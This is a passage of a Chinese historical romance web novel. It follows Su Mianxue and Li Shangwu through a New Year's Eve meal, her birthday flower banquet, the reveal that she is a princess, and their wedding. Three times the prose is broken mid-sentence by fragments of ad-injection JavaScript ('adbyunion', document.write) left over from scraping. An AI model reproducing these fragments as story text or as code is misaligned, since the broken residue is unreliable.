她的感情是什么，对她来说，李尚武只是刚好合适，纸上的话太过亲密无间，他们曾互相慰问，他们曾称对方为卿卿。 她好似看不透这段感情。 她问：“皇上召你去做什么，今儿除夕夜怎会叫你去领赏呢。” 李尚武往前走了两步，压着声音说：“皇上想要我娶郡主。” 苏眠雪不由紧张了几分，“你想娶郡主吗。” “我只想娶眠雪妹妹，我只想娶苏记的东家。” 温热的气息绕过狐毛喷洒在颈边，有些痒。苏眠雪缩住肩，将脸埋在毛领中更深了几分。 眠雪从前温柔似水，但后来的她活泼稳重，时而又冷淡，她从来都是她，从始至终都是他喜欢她，或许他便是为她而生。 “不管是郡主，还是公主，她们都不是我的妹妹，我参军，只为给妹妹添光，八抬大轿风风光光迎娶妹妹，让妹妹做诰命夫人。” 他醉了。 宫里的果酒后劲大，甜腻的气息叫人头晕耳眩。 “婚姻不是儿戏。”苏眠雪抬起头，顿了顿，“我们都需要彼此间的了解。” 雪下空气清冷，温存消散不见。 苏眠雪又道：“这是宫里。” “这月的立春，是我的生辰。” “我知道，你的生辰在正月十七。” 天色已晚，宗室会留宿宫中一月，原本她的生辰花宴该在公主府的宴请，这一来便到了皇后手中。 而臣子皆需在宫门落锁前出宫。 “是要回到金明池吗。” 李尚武点头：“是。” “这个时辰，臣子都该出宫了。”苏眠雪望着远处的金明池，放河灯的只剩寥寥几人。 李尚武找不着路，边上没有宫女太监，才能任由两人在此“私会”。 “盈儿，你先回去吧，让豆蔻在城门等我。”苏眠雪揉了把苏盈的长发。 苏盈这是了然她要出宫的事，而谢长曦那边需要她知会一声。 “好，阿姐稍等片刻。”苏盈将手里的袖炉给她，“你和大牛哥头发都湿了，这东西拿着路上暖手吧。” 她这一提，两人刚刚那些荒唐事都被她看得一清二楚。 苏盈说：“我转过身了，没看。” 听得一清二楚。 也够无地自容了。 谢长曦那边好说话，苏眠雪衣着华贵，宫人虽不认识她，但见了也只当是那家千金迷路，现在需到城门与家人汇合。 他二人都非是在富贵中长大，城门即将落锁，宫人脚速快，跟在后边走了大半的路也不吃力，正巧赶着最后一刻到了宫门。 豆蔻已经备好马车，马车不是来时的那顶，没有挂旗帜，青灰色的盖子普通不易引人注意。 他们相继上了马车，苏眠雪对豆蔻说：“去太平坊，路上再买些青菜鸡蛋和挂面。” 豆蔻按照吩咐行事，宫宴上的菜并吃不饱，为了礼仪周全避免交谈时发生意外，不会贪多而吃饱肚子，所以一般都会回家再吃一些。 她带着李尚武回公主府太过招摇，哪怕她选了这个人，成亲前都不能由着胡来。 李尚武想和她多待片刻，但碍于礼教，等到太平坊这一段路说：“你将我放在太平路上吧，我走会就到了住处。” “前边就是我住得地方，这个时辰坊街里的邻居都该睡下了。”苏眠雪说，“宴上没吃多少东西，进去先吃碗面吧。” 李尚武迟疑了会：“你怎知我宴上没吃东西。” “猜得。” 宴上人来人往，仔细观察便会发现更多得是垫一垫，后面金明池放花灯不免要打交道，况且他们第一次参加难免放不开。 她便只多吃了两块樱桃肉和银鱼蛋羹。 现在捂着肚子只觉它在叫唤，若不吃点东西，今晚指定睡不好。 太平坊的院子她之前花了银子一次付清，现在虽不住这，但归根是她名下的东西，每隔段日子都有人定期打理，现在也能直接住进去。 厨房的灶头太久没生火，苏眠雪指了苏盈从前住得屋子让豆蔻暂且歇下。 近些日下雪，堆积的木材没有存放好，拿在手里有些沉甸甸的，她试了几次都点不燃。 边上没有其他木材，一时焦急起来，又连着点了好几次，每次火折子触上木头，冒出长长的一条烟，没两下又灭了。 李尚武走进来，将洗干净的青菜和番茄放在桌上，拿过她手里的木头，丢在一边说：“长安的冬天太过潮湿，从前家中漏过雨，将我爹准备了半年的柴火都淋湿了大半。” 他这一说，苏眠雪脑海中是有这么一段记忆。 她记得李家向他们借了五天的柴火，是后来天气晴朗，他们一家再次上山砍柴，才把木头还给他们。 李尚武将堆在上面的柴搬到一边，中间的几块木头还未被浸透水，都是能用得。 因为太久没来这住，大锅虽有盖子盖着，但总归有灰尘落着。 李尚武不怕干活，他手脚又麻利，苏眠雪挑出干木柴的时候，他已经将锅洗好了。 “这些木柴或多或少都浸了水，这两日用用还成，你若接下来都用这些，只怕不方便。”李尚武往锅里加水，坐在椅子上重新点燃火折子，木头点了好一会才生起火，他塞进灶头里，没一会便“霹雳啪啦”响着，“你听，明天早上我去集市买些回来，年关里雪大，莫要总是往外边跑，会冻着。” “不用麻烦，我并不久住在这儿。”苏眠雪轻撇了下眉，往边上一看，另一个锅也洗好。 李尚武移了些木炭到另一个锅下，她等锅热，才将油倒进去。 打了三个鸡蛋进锅，蛋液在热油中咕咚咕咚冒泡，等到成型，那铲子从边上翻动，一举铲下中间，翻个面，嫩黄色的鸡蛋卷了边，很快金色的纹路慢慢攀岩从中间爬向四周，铲子毫不留情的打碎捞出一气呵成。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 番茄没去皮，皱着皮像是放了好久的存货，她没在意，葱先炒香，再将番茄丁放油锅里，里边还残留了一些鸡蛋碎，搅动着，加了水往下压出汤汁，她盖上锅盖焖煮。 另一边的水炉已经烧开，打了热水，李尚武拿了两个火盆，先盛了些木炭，盖上灰，用火钳自中间往四周拨弄，猩红火点缀在灰色里，手一靠近，便是温暖如春。 “我先给那位姑娘送去。”李尚武说。 屋子湿冷，并不好休息。 苏眠雪这儿用不到他，点头说：“路上黑，先点盏灯。” 灯笼挂在门边，只有两间屋子有着微弱的光，雪天路上并不好走。 锅里头的水开了，厨房前的灯笼点上，微弱的火光照着眼前的路。 前边有一块积雪，好在苏眠雪提醒，不然一脚下去，指不定抱着火盆摔个狗啃雪，一盆的木炭都往身上倒。 挂面下了番茄汤中，水红色汤汁滚了浮金，拘泥成一幅画，滚起白浪，捧起沉在水中白色挂面。 浪花滚滚，青菜和嫩鸡蛋加在锅中，锅中颜色丰富，香味直勾鼻尖，缕缕从味蕾到腹中，尚未出锅，已经浮想联翩，诞水直直分泌。 苏眠雪早就饿了，往锅里加了盐和酱油调味，待青菜煮熟，碧绿的叶子浮在金黄的油层下。 她盛了三碗，汤汁没过面条，摆在桌上。 李尚武将两个火盆都先搬进了屋里，苏眠雪说：“今晚住在这吧，右边那间单独的屋子曾是裴攸住得，不过他离开后，里面的被褥都换了新的。” “也好。”天色已经乌沉，李尚武抬起头，通过窗户，远处依稀可见烟火点点，“再过一会，又能见烟花了。” 为赶年兽，年末和年初的这一晚上都会放鞭炮和烟花，她现在不住这，什么都没有准备。 “看他们放也好，还省的往外跑。” 面条滚烫，先喝一口汤暖胃，鲜番茄的酸味霎时在味蕾绽放。 豆蔻知道苏眠雪做饭好吃，没想到简简单单的面也能做出这般滋味。 面条吸满了汤汁，往下蘸蘸，很快便一大碗下肚。 吃饱喝足，豆蔻收拾了残局，因着并非做粗活的丫头，对着几个放在锅里的空碗忍不住发愁。 李尚武将他的火盆搬回他睡得屋子里，又打了两桶热水送进洗浴室里，顺手拿过抹布，说：“姑娘先去洗漱吧，这儿有我便成。” 苏眠雪走回来道：“你先放着，等明天再洗也不迟。” “不成，天气冷，放久了明天会冻住，更不好洗。”李尚武从另一个锅里打了两勺热水，盖上锅盖接着热着水，“你快些去洗漱，都会火熄了，水就不热了，会刺手。” 苏眠雪一个恍然，在景乡镇时粗活累活都是他给她做了，压根不用她来操心，他离开后，她就自己学着做。 一开始刺绣的纤纤玉手，现在起了薄薄一层茧。 “妹妹。”李尚武柔情似水，轻声唤她，“你先去歇息，别累着。” 夜凉，雪轻，风静。 困意随浓浓夜色卷土重来，过了子时，将是新一阵喧闹。 三皇子暂未娶亲还未开封建府，礼部已经备下，只是容嫔对呈上来的贵女一个个都不满意，不是家世低了，就是身份不够光彩。 王妃的出身，怎么也要拿得出手，外来能装点门面，内里又是能给上助力。 “静乐郡主，今晚是没出席金明池放河灯吗？” 三皇子有些恼，对于容嫔指着这块不放又无可奈何，只能一遍又一遍劝：“苏表姐是姑姑的女儿，她与姑姑分散多年，姑姑爱女心切只会召婿，皇祖母和父皇都难以插手，母妃还能越过皇祖母和父皇不成。” “太子妃和景王妃都出身名门，你堪堪只能娶个四品官的女儿，为娘的怎能不操心？”容嫔下了决心，“若是不然，本宫退一步，苏盈也是成的。” 容嫔暗想，只要谢长曦用心，只要和昭阳长公主府扯上关系，为三皇子铺一条路，不管那位，不都一样。 77. 花宴 次日清晨，空气清冷，苏眠雪在院子里转了一圈。 豆蔻已经在门外等她，说：“郡主，李公子在卯时便离开了，锅里热了早饭，他吩咐奴婢记的叫您用膳。” 苏眠雪走进厨房掀开锅盖，半锅热腾腾的白米粥，一碟青菜，和两个鸡蛋。 这些菜式简陋，并非府上可以比。 “奴婢早上吃过，这些是李公子特意留的。”豆蔻说，“不过有些简陋，外边已有马车等候，您不如回府再吃。” “不必。”苏眠雪舀了一碗粥，拿出里边的菜，她敲开蛋壳，咬了一口说，“早膳不用太过丰富，这些就很好。” 用完早膳，到府内换了件清雅的衣裳，进宫给姜太后、谢长曦和皇后请安，报了平安便由豆蔻领着去御膳房。 她去得不巧，自昨晚选下一名厨子后，其他厨子便送出了宫，又跟着御膳房的大太监到宫外边上的一处住所，听他所说，九州来得厨子暂且都住在这。 走进胡同，入眼的是几座矮小房屋，琳娘和高胜住在第三排的第五间房内，这一排并着都是从淮州来得三人。 豆蔻替她敲门，现在正是白日，房屋的门打开，走出来一位汉子，豆蔻挡在她身前，警惕地看向出来的人。 高胜揉了揉眼睛，仔细打量着外边站着的几人，一时错愕。 “豆蔻，无碍。”苏眠雪伸手将豆蔻拉回，又转身对御膳房的大太监说，“多谢公公引路，豆蔻，你先送公公回去，我留这叙旧。” 少女声音温和，琳娘听到动静推开挡在门前的人。 “这是怎的了？”琳娘走出来，见到逆着光了少女，节拍一漏，磕磕巴巴说，“东家，您来了！” 苏眠雪点头，笑道：“你做了樱桃肉，我便猜到是你。” “樱桃肉，东家去了宫宴？先进来喝杯茶吧。”琳娘招呼着她，又对那太监说，“公公可要进来喝杯茶？” “不用，咱家还有差事在身。”太监拒了琳娘。 苏眠雪走进屋子里，屋子格局虽小，但该有的全都有，这儿本就不是长久住人的。 琳娘端来热茶：“我们本想落脚后便去寻东家，但宫里规矩森严，每日天不亮就要进宫学习，耽搁的时间，没想到东家先找来了。” “不管谁去找谁，现在遇到了就好。”苏眠雪高兴道，“不过接下来，你们有什么打算？是要回去，还是留在这。” 琳娘羞涩道：“我们找东家，就是想问问您，可还愿意收留我们，要我们俩做个厨子，在这勉强落脚糊口。” 高胜挠头，有些不好意思：“东家，我们初来长安，这些都要犒劳您了。” “你们从淮州到长安一路不易，就是欲满楼那。”苏眠雪说。 “都安妥好了。”琳娘说，“不过自你离开后，那位淮景书院的张……张姑娘来寻过你，还有罗夫人，托我问你一句安好。” “张姑娘？”苏眠雪想了许久，都没有这位张姑娘的印象。 “是之前的张公子，她顶了家中兄长的名字，进了淮景书院读书，曾经问您是否需要帮助，还有好多人，韩家兄妹去了豫州，不过他们都有问你。”琳娘掰着指头数，“张姑娘现在在学堂里头编书，虽做不了官，但至少选了自己喜欢的事来做。” 苏眠雪听她说了很多，欲满楼开进了清河城，赵儒和赵山见他们打通了路，眼红自然也跟在身后，不过琳娘门路多，人又随和，要比赵儒在城里行的通。 韩绫越考中进士，带着家人迁移豫州当官。 罗夫人看似端庄温柔，生在长安见过不少手段，和她一块的阿芷夫人在淮州，罗县令压根不敢得罪人，婆母躺在床上，小妾不敢造次，现在府里头事事都顺着她。 还有很多事，琳娘絮絮叨叨讲了许多，又将清河城的地契给她，苏眠雪一一听着，最后将太平坊的院子给了他们落脚，又安排进在清风楼做事。 赵儒这人不安于世，听说琳娘和高胜也在这安了脚，又有苏眠雪帮衬，从前不对付相互比对的心攀岩上来，花了积蓄在清风楼边上。 但规模远比不上，起步还需时间，苏眠雪不足以为惧，安心筹划着下面的事。 …… 正月十七，静乐郡主的赏花宴，世家公子心知肚明，赏得花非是御花园里的花，而是长安城内青年才俊，昭阳长公主府太过耀眼，有想得郡主赏识从前攀龙附凤的，也有不想余生落在女子身下，能避得，家中都顶了人来。 剩下的，则是存了攀取了心思，铆足了劲准备，只为宴上得了青睐。 李尚武闷闷不乐，坐在石桌上郁闷。 宫里的赏花宴她并不想去，他握着手里的嵌了宝石珠子的桃花彩碎簪子，今儿是苏眠雪的生辰，往年他都会送姑娘喜欢的小簪子镯子之类。 同僚看他迟迟不走，特意回来劝道：“郡主生辰，你若不去就是抗旨，若皇上只降罪于你，便是你一人担责任，若皇上怪罪到家人，自己的爹娘兄弟姐妹还没享到福，白白受了无妄之灾，岂不成了族中罪人。” “你说得对，可是……”李尚武想了又想，心里做了决定，“你先去吧，我晚些再进宫。” “宫内可是你能随便走动的。”同僚不赞成说，“罢了罢了，你快些去，我们在城门处等你，莫和你那妹妹误了时辰，皇上降罪，可不管你们什么关系。” 同僚的话有理，李尚武谢过之后直奔太平坊，胡同里头静悄悄的，和上次来相比要多了烟火气，水井下的绳子挂了喜好的新衣。 他仔细分辨，里边一套显然非是女子的，而是男子的。 他记性好，上次离开时特意观察过，前边的院子有半棵柿子树长进来，后边的则是枣树。 难不成是换人了。 他坐在柿子树下的石椅上，拿着手里的簪子发呆。 等候在城门处的同僚迟迟不见他来，等到后边将军来时，听过原因后只叫他们进去。 将军发话，几个等在边上的不敢多留，便跟着一块进去。 苏眠雪今日盛装打扮，衣裳和首饰都是尚服局置办，再经皇后之手到她手上。 她和谢长曦住在一块，今儿梳洗也是由谢长曦的侍女化妆描写，坐在妆台前只管昏昏欲睡，偶尔再抬起头给众人观赏改进。 这滋味过于陌生，要她有些局促。 等到侍人打理好，站起身披上朱红色毛领披风，里边玉色云锦裙随着步态隐隐晃动，从披风底下露出来。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 元宝髻灵动轻巧，恰适她未出嫁，因着她乖乖坐着，只觉端庄。 虽还在冬日，但宫中的内侍不少种花的好手，即便是严寒的冬日，也有办法逆转春日，只消片刻短暂的美丽，只为彰显皇室对此次的重视。 花宴本就是走个过场，这次也是为她结交贵女而准备，几家千金见到她也纷纷示好。 唯有梁家的三姑娘面色苍白，跟在苏眠雪身边，不输其他贵女半分颜色，进退有度，更是谢长曦名下的义女，长公主府的二小姐正是苏盈。 她二人结下梁子，当时正有不少看着。 苏盈只稍了眼梁纯，无甚在意道：“她并不值得我去报复。” 她年纪渐长，惯爱把自己蒙在书中，梁纯这人表面功夫做尽，但终有装不下去的一日，在那一日唯有自食恶果这一条路。 “你看她，她回去要好两天寝食难安了。”苏眠雪往那一群武将观望，迟迟没看见那人的影子。 苏盈问：“阿姐还没告诉大牛哥吗。” 苏眠雪点头，上次李尚武和她说，皇上要他娶郡主，他说不想娶时，她便存了心思逗逗人。 她露面，也代表着花宴开始，只是哪知道李尚武一根筋，真能拂了皇上的脸。 “我去找他。” 她若不去，只怕李尚武能等一日。 这会儿是贵女千金公子们闲聊赏花的时间，期间若有合了眼缘的，私下里若两家同意，也能促一段佳缘。 苏眠雪心里不由起了一团无名火，孰大孰小他总该分得清楚，不该这般轻率行事。 将到宫门时，远处一人急忙跑来，明明是冬日，来得人却跑出了一身汗。 苏眠雪只稍了眼，由豆蔻搀扶上了马车，离得近了，又觉得熟悉，拉开帘子唤道：“李大牛。” 李尚武脚步一顿，抬头看她，脸一红支支吾吾说：“眠雪妹妹，原来你在这儿。” 苏眠雪无奈又下了马车，走在他前头恼道：“你怎来得这般晚，再晚些来，你就等皇上怪罪吧。” “我又不娶郡主，皇上又能怎么怪罪我？”李尚武走快了两步，到她边上说，“眠雪妹妹，你可是生气了？” 豆蔻垂下头，这位李公子现在不知情，等知情后可有他后悔的。 李尚武捏着手里的簪子不敢给，连半分想说得意见也不敢出于空，只能跟在后边。 苏眠雪走得快，只想快点赶回去，后来走累了，也不管李尚武还在边上，只要内侍快些拿来轿子送她回去。 李尚武虽不明白她为何能在宫里这般大胆，便默默跟在后边一直到御花园的宴上。 苏眠雪带他到一处水渠，渠上载了荷花，指着那人群说：“大牛哥，去吧。” 李尚武看傻了眼，若是没有树上的残雪，他只怕是勿进了春日，入眼皆为春满园。 “微臣见过静乐郡主。”将军年纪二十五上下，不苟言笑前来请安。 李尚武尚未回神，等他从春色中回神，同僚已经来了大片，各个低着头喊道“静乐郡主”。 “眠雪妹妹？” “将军在这，莫要耽搁了。”苏眠雪心情愉悦不少，甚至伸出手帮了一把将他推出去，说完带着豆蔻头也不回离开。 78. 成亲 李尚武彻底傻了眼，磕磕巴巴道：“眠雪妹妹是郡主？” 将军恨铁不成钢，捏着眉道：“知道了还不去追上去。” 上次皇帝瞧着明面上生气，实际等人离开后又换了一副面孔，而谢长曦就在后殿里听着。 将军也是在那时才知李尚武有这么一段缘，对他来说是一步登天，从此做个皇亲国戚，何等的风光。 李尚武追上去，拉住她的衣裳，衣袖从掌中滑落，苏眠雪回头，就见穿着劲装的男子可怜兮兮看着她。 他生得硬朗，低着脑袋睁着眼睛看他，没有过多的表情，但下扬的唇角却叫她感受到委屈，真切到像是她体会了一般。 “眠雪妹妹，生辰快乐。”李尚武巴巴唤着，将手里的簪子交给她说，“我只想娶你，这是年少时的心愿，不管多久，都不曾改变。” 棠花遍野，开在冬日的花越显娇嫩，但不自在的，又多了几分坚强。 苏眠雪直言道：“皇上既见了你，我想你也该放心。” 这话一出，李尚武顿时又将心提在了嗓子眼，问道：“那要是惹怒了皇上呢。” “阿娘和我提起过，皇上本就是试探你，你若当初直接选了郡主，他才要不高兴呢。”苏眠雪说着，“今日是花宴，也是我的生辰宴，皇后下了血本在这上边，也是为我开拓人脉，要我和那些贵女们好好熟络。” 苏眠雪迟迟不露面得罪的是皇后，对她来说，不管谢长曦的身份如何，他人是因谢长曦而对她客气，但若有事，她该有能够探听消息的人。 李尚武听了她话回到男子那一席中，苏眠雪回到宴上。 皇帝子嗣和前几位帝王相比算少，公主只有五位，母妃皆是出身尊贵，与皇帝有情有义。 谢宝姝从小受尽宠爱，和这几位公主关系也不错，这下见她回来，霎时静了声。 苏眠雪没在意，若无其事地聊着，很快融入话题，倒显得谢宝姝不自在起来。 她两人之间的事不是秘密。 今日主角是苏眠雪，除去与谢宝姝关系好的，她都熟悉了名字和记住一遍脸。 其中相谈最久的是福柔公主谢宝蕴，谢宝蕴喜欢美食，恰好又是清风楼的常客，刚碰面便一见如故。 她走了一日，李尚武同她认识，这场花宴也不言而喻，只是走个过场，皇家早早定好了人选。 与云晟一战立下军功，青梅竹马的情谊，郡马不似驸马只能做个清闲的官，留在长安中也可施展一番抱负。 苏眠雪亲事少，不外乎因为谢长曦凶名太盛，亦是担心郡主与皇家不够亲近，更多是因为她从景乡镇这个不知名的镇上来，世家大族都需得体的妻子，惶恐这位郡主不够端庄，带出门会闹出笑话。 其实这些都是题外话，皇家的人如何都非他们所能置喙。 …… 赐婚的圣旨很快下来，李尚武右迁从五品骑都尉，没有实权和职掌，只是身份地位的象征。拿了体己在皇城脚下，一处普通的坊间买了一座一进的院落，不大，但足够将来李大伯和李大娘颐养天年。 他有自己的抱负，从始至终他都在追赶苏眠雪的步子。 手里拿着圣旨本该高兴，但未来和身份压在身上，他又喜不出来半分。 若可以，他也曾想立下军功，再风光娶回苏眠雪。 心中有了志望，自也努力朝着这个目标前进，好在大周并没有娶郡主不得从政的政策，他尚有几分的希望。 婚期定在仲月甘一，正是春分，宜嫁娶，是个风和日丽的日子。 李家人紧赶慢赶，在二月时入了长安，李尚武一路叮嘱行事，一直到院子里，李大娘摸着涂了红漆的大门，外边有两个仆妇，见到李尚武先叫声“爷”，然走在前头领两位老人到正屋，推开门，陈设精致华美，一声一个老爷老夫人叫得热泪盈眶，李大娘甩着袖子，擦去眼角的泪。 甘一那日，春光明媚，正是万物复苏的季节。 对谢长曦来说，苏眠雪是她四十岁来失而复得的珍宝，婚事皆为大办，最终拜堂的地方自也是公主府。 琳娘先前一直不敢相信，东家竟是长公主那位丢失已久的女儿，一直到人在她眼前，见到嬷嬷侍女众星捧月着中心女子，和女子所滑落的大红婚服一角，才慌忙下跪行礼。 苏盈立刻走上前拉起他们：“阿姐请你们来，是要你们做她的娘家人，怎能随意跪着呢。” “盈儿说得不错，你们都是我们朋友。”对苏眠雪来说，能请来的都是她要好的好友。 韩绫云身在豫州，今日赶来风尘仆仆，只来得及换取一身衣裳，被豆蔻引着进来顿时看大了眼。 苏眠雪因为干活穿得向来素雅，后来就是做了郡主，衣服颜色靓丽了些，依旧中规中矩，不惹人眼目。 “阿雪。” 韩绫云愣愣出口。 被簇在中间的女子身着大袖上襦下裙青色深衣，宽袍大袖既有飘逸轻盈，金银琉璃所制得钿钗在阳光下熠熠生辉。 面上扑了脂粉，嬷嬷将口脂送上，轻轻抿着，又添了许多好颜色。 苏眠雪今儿太过特别，一身婚服繁华绚丽，妆点过得芙蓉面更胜从前，金红色花钿点缀在额间，豆蔻拿来扇子，遮住她的面容，悄声说：“郡主今儿很美，是大周第一美人呢。” 婚嫁是大事，所有男子、女子都在这一日盛装打扮，是为体现对今日的重视。 “别拿我取乐，羞不羞。”苏眠雪遮住面容，然又悄悄挪了几分，望着镜子中的自己，一时竟分辨不出。 这真是她吗？ 发间首饰精美繁盛，她五官大气，拿扇子遮住脸，只留一双眼睛在外，仔细瞧还有些英气。 宫里来得姑姑是采面的好手，本就大气的五官今日更是明艳，宛若神妃仙子。 婚礼在酉时起，苏眠雪打扮好后，吃了几块糕点垫肚子，谢长曦本想让她多用一些，免去拜堂时会饿了肚子。 李尚武买得宅子离这儿不远，骑着高头大马赶来。 “郡主，郡马要到了。” 为喜临门，苏眠雪上了花轿绕了半个皇城，后边跟了一百八十八担的嫁妆，等到花轿再落回公主府时，尾巴也堪堪消在眼尾，满府张灯结彩，贴了红双喜和红绸花。 李大娘虽有不满，但只看一眼谢长曦就发怵，还有坐在中央的皇帝皇后、太后。 她哪见过这么多人，绸缎穿在身上滑溜溜的她都适应不及，更何况这些一句话就能要她脑袋的主。 拜堂之后，便是由嬷嬷引她进婚房。 她住得地方早早换了一处样，苏眠雪端了一整日，这会坐下瞬间就没了力气，放下手里团扇，豆蔻给她扶住发间的冠。 屋子里点着龙凤模样，儿臂粗的红烛，灯花霹雳，星星点点的火光四处砸开。 李尚武连喝了好几盏酒，还未走到婚房，已经被同僚灌了半醉。 胡彪连着灌了他好几碗，后来是太子拦下，方才放了他，叫他打着醉拳摸回喜房。 苏眠雪早早放了扇子，一双杏眼在烛火跃动下，愈发显得涟漪，明明就是和从前一般无二的神情，但今晚又多了几分说不清的情愫。 醉意在目光触及的那一刻潘然清醒。 “眠雪妹妹。”他身上沾了酒气，眸子却是清醒的。 苏眠雪叫他：“过来。” 嬷嬷端来合卺酒，将酒盏递给二人。 酒不醉人，醉的是弥漫在呼吸间不经意的撩拨，一支羽毛轻轻划过心尖，捂着胸口轻颤着。 苏眠雪在撩拨他，李尚武是这般想的。 而苏眠雪只想快些将发上的簪子、钿钗取下，喝下合卺酒，豆蔻便给她拆了发上首饰。 侍女收拾完残 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 局，悄无声息退了出去。 “大牛哥。”苏眠雪从洗浴室中出来，拿巾帕擦拭发梢的水渍。 李尚武回过神，鼻息间只剩早春的寒峭，全无半分旖旎。 原是他多想了。 “愣着做什么，还不去沐浴，准备歇下。”她坐在榻上，抬起眸子疑惑瞧着他。 外边闹了一番寂静下来，一日下来是深深的疲惫，这会不沐浴吹了蜡烛躺在榻上睡觉，还能做什么？ 儿臂粗的蜡烛跃动着，火光时暗时亮，李尚武这才回过神，侍女在下去时只留了几只蜡烛。 “我去沐浴。”他取了巾帕，张着腿坐在榻上迟迟未动，端详了苏眠雪好一会。 苏眠雪擦拭发梢的手愈来愈僵持，撇下头，拿过被褥盖在身上，睫羽轻颤：“还不去沐浴。” 临又补充道：“酒味，难闻。” “我这就去。” 身边人飞蹿地逃跑，苏眠雪随手丢开巾帕，扯过全部被褥将自己裹了个严严实实。 李尚武出来时，灯影摇曳，就见睡在最里头，只露了半个脑袋的苏眠雪。 他吹了蜡烛，只留桌上一盏，轻手轻脚躺在她边上，脑中想起了韩兆与他说得话。 转过头，苏眠雪没理他。 猛吸一口气，猛然从床上坐起来。 他力气大，把躺在床上假眠的苏眠雪吓了一跳，从被褥中坐起来，质问着：“你做什么，要睡便睡，不睡也安安稳稳躺着。” 苏眠雪摸着屁股底下的白巾，忍不住胡思乱想。 晚上该做些什么她都知晓，只是，有些事还没准备好，她也从没做过，闹得人心惶惶，只好安慰自己快些睡下避开今晚的事。 但李尚武显然不这般想，他今年二十三，爹娘像他这般大时，他已经会喊爹和娘了。 结果现在空有一番力气，却无用武之地。 今晚新婚夜，都是水到成渠的事，但两人都是温吞的性子，不踏出这一步，估计能憋一辈子。 “今晚……是不是该做些什么。”李尚武支支吾吾。 苏眠雪当机立断：“自然是睡觉。” “不是平日里的睡觉。”粗糙磨砺的大掌轻而易举附在她揪着被子的手上，李尚武红透了脸，“是本子里头写得那样睡觉。” 他皮肤黑，察不出颜色来，苏眠雪便是日日在厨房里，到底是女子，日常又注意着太阳，昏黄的灯火下，红晕爬满了身，只能无望揪着手里的被子。 李尚武俯下身，埋在她的锁骨里，苏眠雪缩着身子，到底没推开这一步。 锁骨处的红痣诱人，他埋得更深，鼻息间皆是栀子花香。 浓郁，仿若置身在花海中，将要窒息在里边。 苏眠雪经不起他的折腾，缩起耳朵，脑袋愈发昏昏沉沉，身体贴得愈发近，她被烫了一个激灵，在他出口说出几个字的那霎羞愤难忍，哑着嗓子问：“你刚刚说什么。” 后边的话太过难言，李尚武说到一半也不敢说了，只能无措看她，半晌道：“眠雪妹妹，往后在外人前，可否莫要唤我大牛哥了。” 当着太多人这般唤不好，李尚武在心底偷偷说。 苏眠雪问：“为何，不唤你大牛哥，又当唤你什么？” 李尚武将她拥在怀里：“可否唤我尚武哥哥，你若想要唤我大牛哥，可在私底下这般叫我。胡彪说，我将来要做将军，若别人都唤我大牛将军，不好听。” “是不好听。”苏眠雪尾音颤着。 热气洒在耳垂，羞涩的酥麻蔓延全身。 接下来，该做什么了。 苏眠雪忍不住想。 李尚武轻轻点了下她的唇，同蜻蜓点水一般。 韩兆说，若她不反抗，就能亲一下她的唇，然后…… 苏眠雪闭上眼，她想，肌肤之亲，也就是这般。